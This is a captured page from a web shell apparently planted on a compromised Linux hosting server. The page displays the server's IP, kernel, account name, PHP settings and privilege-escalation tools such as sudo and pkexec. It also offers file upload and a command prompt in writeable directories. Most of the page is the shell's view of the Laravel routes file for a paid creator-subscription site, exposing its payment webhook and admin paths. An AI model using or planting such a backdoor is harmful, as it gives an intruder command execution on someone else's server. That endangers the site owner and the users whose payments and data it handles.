403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/lcmsmodels.com/public_html/routes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/lcmsmodels.com/public_html/routes/web.php
<?php

use Illuminate\Http\UploadedFile;
use Illuminate\Support\Facades\Storage;
use Illuminate\Support\Facades\Route;
/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/

// Authentication Routes
Auth::routes();

// Homepage Route
Route::get('/', 'HomeController@index')->name('home');

// PWA Routes
Route::get('manifest.json', 'PWAController@manifest')->name('pwa-manifest');
Route::get('offline', 'PWAController@offline')->name('pwa-offline');


// Report content route
Route::get('report-content', 'HomeController@report')->name('report');
Route::post('store-report', 'HomeController@storeReport')->name('storeReport');

// User Profile
Route::get('my-profile', 'ProfileController@create')->name('startMyPage');
Route::post('profile/update', 'ProfileController@store')->name('storeMyPage');
Route::get('profile/set-fee', 'ProfileController@setFee')->name('profile.setFee');
Route::Post('profile/save-fee', 'ProfileController@saveMembershipFee')->name('saveMembershipFee');
Route::get('profile/verification', 'ProfileController@verifyProfile')->name('profile.verifyProfile');
Route::post('profile/process-verification', 'ProfileController@processVerification')->name('processVerification');
Route::get('profile/settings', 'ProfileController@accountSettings')->name('accountSettings');
Route::post('profile/save-settings', 'ProfileController@saveAccountSettings')->name('saveAccountSettings');
Route::post('profile/follow/{user}', 'ProfileController@followUser')->name('followUser');
Route::get('profile/my-subscribers', 'ProfileController@mySubscribers')->name('mySubscribers');
Route::get('profile/my-subscriptions', 'ProfileController@mySubscriptions')->name('mySubscriptions');
Route::get('feed/loadMore/{profile}/{lastId}', 'ProfileController@ajaxFeedForProfile')->name('loadPostsForProfile');
Route::get('profile/my-tips', 'TipsController@myTips')->name('myTips');
Route::get('profile/my-unlocks', 'TipsController@myUnlocks')->name('myUnlocksList');

// Billing
Route::get('billing/history', 'BillingController@history')->name('billing.history');
Route::get('billing/cards', 'BillingController@cards')->name('billing.cards');

// Stripe
Route::get('stripe/add-card', 'StripeController@addStripeCard')->name('addStripeCard');
Route::get('stripe/capture-card', 'StripeController@captureStripeCard')->name('captureStripeCard');
Route::post('stripe/stripeHooks', 'StripeController@stripeHooks')->name('stripeHooks');

// Payments
Route::get('subscribe/card/{user}', 'SubscriptionController@credit_card')->name('subscribeCreditCard');
Route::get('subscribe/ccbill/{user}', 'SubscriptionController@ccbill')->name('subscribeCCBill');
Route::get('subscribe/paystack/{user}', 'SubscriptionController@payStack')->name('subscribePayStack');
Route::get('subscribe/paypal/{user}', 'SubscriptionController@paypal')->name('subscribeViaPaypal');
Route::post('subscribe/paypal-notify/{creator}/{subscriber}', 'SubscriptionController@paypalProcessing')->name('paypalProcessing');
Route::get('subscribe/webpayplus/{user}', 'WebpayPlusController@create_subscription')->name('subscribeWithWBPlus');
Route::post('subscribe/process-webpayplus', 'WebpayPlusController@process_subscription')->name('wpb-process-subscription');
Route::get('subscribe/mercadopago/{user}', 'MercadoPagoController@subscribeToUser')->name('subscribeMercadoPago');

// Tips
Route::post('tip/send/{post}', 'TipsController@processTip')->name('sendTip');
Route::post('tip/paypal/ipn/{creator}/{subscriber}/{post}', 'TipsController@processPayPalTip')->name('paypalTipIPN');
Route::any('tip/paypal/go-to-post/{post}', 'TipsController@redirectPayPalToPost')->name('paypal-post');
Route::any('tip/ccbill', 'TipsController@process')->name('ccbill-post');
Route::any('tip/ccbill/approval', 'CCBillController@approval')->name('ccbill-approval');
Route::get('tip/mercadopago/return', 'TipsController@mercadoPagoTipProcess')->name('mercadoPagoTipIPN');

// CCBill Webhooks
Route::any('ccbill/webhooks', 'CCBillController@webhooks')->name('ccbill-hooks');

// PayStack Webhooks
Route::get('paystack/add-card', 'PayStackController@addPayStackCard')->name('addPayStackCard');
Route::post('paystack/authorization', 'PayStackController@redirectToAuthorization')->name('paystack-authorization');
Route::get('paystack/store-authorization', 'PayStackController@storeAuthorization')->name('paystack-authorization-callback');
Route::post('paystack/webhooks', 'PayStackController@webhooks')->name('paystack-hooks');
Route::get('paystack/link', 'PayStackController@link')->name('paystack-link');

// MercadoPago Webhooks
Route::post('mercadopago/store-authorization', 'MercadoPagoController@storeAuthorization')->name('mercadopago-authorization-callback');

// TransBank GateWay - Webpay Plus
Route::get('webpayplus/create/{post}/{creator}/{tipper}/{amount}', 'WebpayPlusController@createdTransaction')->name('wbp-process-create');
Route::geT('webpayplus/create-unlock/{message}/{lockPrice}', 'WebpayPlusController@createUnlockTx')->name('wbp-msg-unlock');
Route::post('webpayplus/returnUrl', 'WebpayPlusController@commitTransaction')->name('wpb-return-url');
Route::post('webpayplus/returnUrlTx', 'WebpayPlusController@commitUnlockTransaction')->name('wpb-return-tx');

// Withdrawals
Route::get('withdrawals', 'WithdrawalControlller@index')->name('profile.withdrawal');

// Notifications
Route::get('notifications', 'NotificationsController@index')->name('notifications.index');

// Posts
Route::get('post/{post}', 'PostsController@singlePost')->name('single-post');
Route::get('post/edit/{post}', 'PostsController@editPost')->name('editPost');
Route::post('post/save/{post}', 'PostsController@updatePost')->name('updatePost');
Route::post('save-post', 'PostsController@savePost')->name('savePost');
Route::get('delete-post/{post}', 'PostsController@deletePost')->name('deletePost');
Route::get('post/loadById/{post}', 'PostsController@loadAjaxSingle')->name('loadPostById');
Route::get('post/loadMore/{lastId}', 'PostsController@ajaxFeed')->name('loadMorePosts');
Route::get('post/delete-media/{post}', 'PostsController@deleteMedia')->name('deleteMedia');
Route::get('post/download-zip/{post}', 'PostsController@downloadZip')->name('downloadZip');
Route::enum('post-enum');

// Likes
Route::post('like/{post}', 'LikeController@like')->name('likePost');

// Comments
Route::get('comments/{post}/{lastId?}', 'CommentsController@loadForPost')->name('loadCommentsForPost');
Route::post('comment/{post}', 'CommentsController@postComment')->name('postComment');
Route::get('comment/load/{comment}/{post}', 'CommentsController@loadCommentById')->name('loadCommentById');
Route::get('comment/delete/{comment}', 'CommentsController@deleteComment')->name('deleteComment');
Route::get('comment/form/{comment}', 'CommentsController@editComment')->name('editComment');
Route::post('comment/update/store', 'CommentsController@updateComment')->name('updateComment');

// Serve image securely
Route::get('usermedia/{path}', 'ImageController@picture')->where('path', '.*')->name('serveUserImage');

// Dashboard
Route::get('feed', 'PostsController@feed')->name('feed');
Route::get('me', function () {
    return redirect()->route('feed');
});

// Browse Creators
Route::get('browse-creators/{category?}/{category_name?}', 'BrowseCreators@browse')->name('browseCreators');

// Messages
Route::get('messages', 'MessagesController@inbox')->name('messages.inbox');
Route::get('messages/{user}', 'MessagesController@conversation')->name('messages.conversation');
Route::get('messages/download-zip/{messageMedia}', 'MessagesController@downloadZip')->name('downloadMessageZip');
Route::get('unlock-message/{gateway}/{message}', 'MessagesController@unlockMessage')->name('unlockMessage');
Route::post('paypal/unlock/{message}', 'MessagesController@processPayPalUnlocking')->name('paypalUnlockIpn');
Route::get('mercadopago/unlock/return', 'MessagesController@mercadoPagoUnlockProcess')->name('mercadoPagoUnlockIPN');

// Pages Routes
Route::get('p/{page}', 'PageController')->name('page');

// Entry popup
Route::get('entry-popup', 'HomeController@entryPopupCookie')->name('entryPopupCookie');

// Product
Route::view('validate-license', 'validate-license')->name('validate-license');
Route::post('validate-license', 'Controller@activate_product');

// Contact page
Route::get('contact-page', 'ContactController@contact_page')->name('contact-page');
Route::post('contact-page-process', 'ContactController@contact_form_process')->name('contact-form-process');

// Redirect to external links
Route::get('external-redirect', 'PostsController@externalLinkRedirect')->name('external-url');

// Banned Route
Route::view('banned', 'banned')->name('banned-ip');

// Admin Routes
Route::any('admin/login', 'Admin@login')->name('adminLogin');
Route::any('admin/logout', 'Admin@logout')->name('adminlogout');

// admin panel routes
Route::group(['middleware' => 'App\Http\Middleware\AdminMiddleware'], function () {

    Route::get('admin', 'Admin@dashboard');

    // Vendors Related
    Route::get('admin/users', 'Admin@users');
    Route::get('admin/loginAs/{vendorId}', 'Admin@loginAsVendor');
    Route::get('admin/add-plan/{vendorId}', 'Admin@addPlanManually');
    Route::post('admin/add-plan/{vendorId}', 'Admin@addPlanManuallyProcess');
    Route::get('admin/users/setadmin/{user}', 'Admin@setAdminRole');
    Route::get('admin/users/unsetadmin/{user}', 'Admin@unsetAdminRole');
    Route::get('admin/users/ban/{user}', 'Admin@banUser');
    Route::get('admin/users/unban/{user}', 'Admin@unbanUser');

    // Profile Related
    Route::get('admin/profile-verifications', 'Admin@profileVerifications')->name('admin-pvf');
    Route::get('admin/approve/{profile}', 'Admin@approveProfile');
    Route::get('admin/reject/{profile}', 'Admin@rejectProfile');

    // Payment Requests Related
    Route::get('admin/payment-requests', 'Admin@paymentRequests')->name('admin.payment-requests');
    Route::get('admin/payment-requests/markAsPaid/{withdraw}', 'Admin@markPaymentRequestAsPaid');

    // Tx Related
    Route::get('admin/tx', 'Admin@tx');

    // Subscriptions related
    Route::get('admin/subscriptions', 'Admin@subscriptions');

    // Tips Related
    Route::get('admin/tips', 'Admin@tips');

    // Unlocks (messages)
    Route::get('admin/unlocks', 'Admin@unlocks');

    // Category Related
    Route::get('admin/categories', 'Admin@categories_overview');
    Route::post('admin/add_category', 'Admin@add_category');
    Route::post('admin/update_category', 'Admin@update_category');

    // CMS 
    Route::get('admin/cms', 'Admin@pages')->name('admin-cms');
    Route::post('admin/cms', 'Admin@create_page');
    Route::get('admin/cms-edit/{page}', 'Admin@showUpdatePage');
    Route::post('admin/cms-edit/{page}', 'Admin@processUpdatePage');
    Route::get('admin/cms-delete/{page}', 'Admin@deletePage');

    // Payments Setup
    Route::get('admin/payments-settings', 'Admin@paymentsSetup');
    Route::post('admin/save-payments-settings', 'Admin@paymentsSetupProcess');

    // Extra CSS/JS
    Route::get('admin/cssjs', 'Admin@extraCSSJS');
    Route::post('admin/saveExtraCSSJS', 'Admin@saveExtraCSSJS');

    // Admin config logins
    Route::get('admin/config-logins', 'Admin@configLogins');
    Route::post('admin/save-logins', 'Admin@saveLogins');

    Route::get('admin/configuration', 'Admin@configuration');
    Route::post('admin/configuration', 'Admin@configurationProcess');

    // Mail Server Configuration
    Route::get('admin/mailconfiguration', 'Admin@mailConfiguration');
    Route::post('admin/mailconfiguration', 'Admin@updateMailConfiguration');
    Route::get('admin/mailtest', 'Admin@mailtest');

    // Cloud settings
    Route::get('admin/cloud', 'Admin@cloudSettings');
    Route::post('admin/save-cloud-settings', 'Admin@saveCloudSettings');

    // Content Moderation
    Route::get('admin/moderation/{contentType}', 'Admin@moderateContent')->name('admin-moderate-content');
    Route::get('admin/content-moderation/delete-report/{id}', 'Admin@deleteContentReport')->name('admin-delete-content-report');

    // Site entry popup
    Route::get('admin/entry-popup', 'Admin@entryPopup');
    Route::post('admin/save/entry-popup', 'Admin@entryPopupSave');

    // Configure PWA
    Route::get('admin/pwa-config', 'Admin@configurePWA');
    Route::post('admin/pwa-store-config', 'Admin@savePWAConfiguration');

    // Configure Homepage Simulator
    Route::get('admin/simulator-config', 'Admin@simulatorConfig');
    Route::post('admin/simulator-store-config', 'Admin@saveSimulatorConfig');

});

// User Routes
Route::get('toprofile/{user_id}', function ($user_id) {
    $username = App\Profile::where('user_id', $user_id)->pluck('username')->first();
    if (is_null($username)) abort(404);
    return redirect(route('profile.show', ['username' => $username]));
})->name('profile.redirect');

Route::any('{username}', 'ProfileController@showProfile')->name('profile.show');

Youez - 2016 - github.com/yon3zu
LinuXploit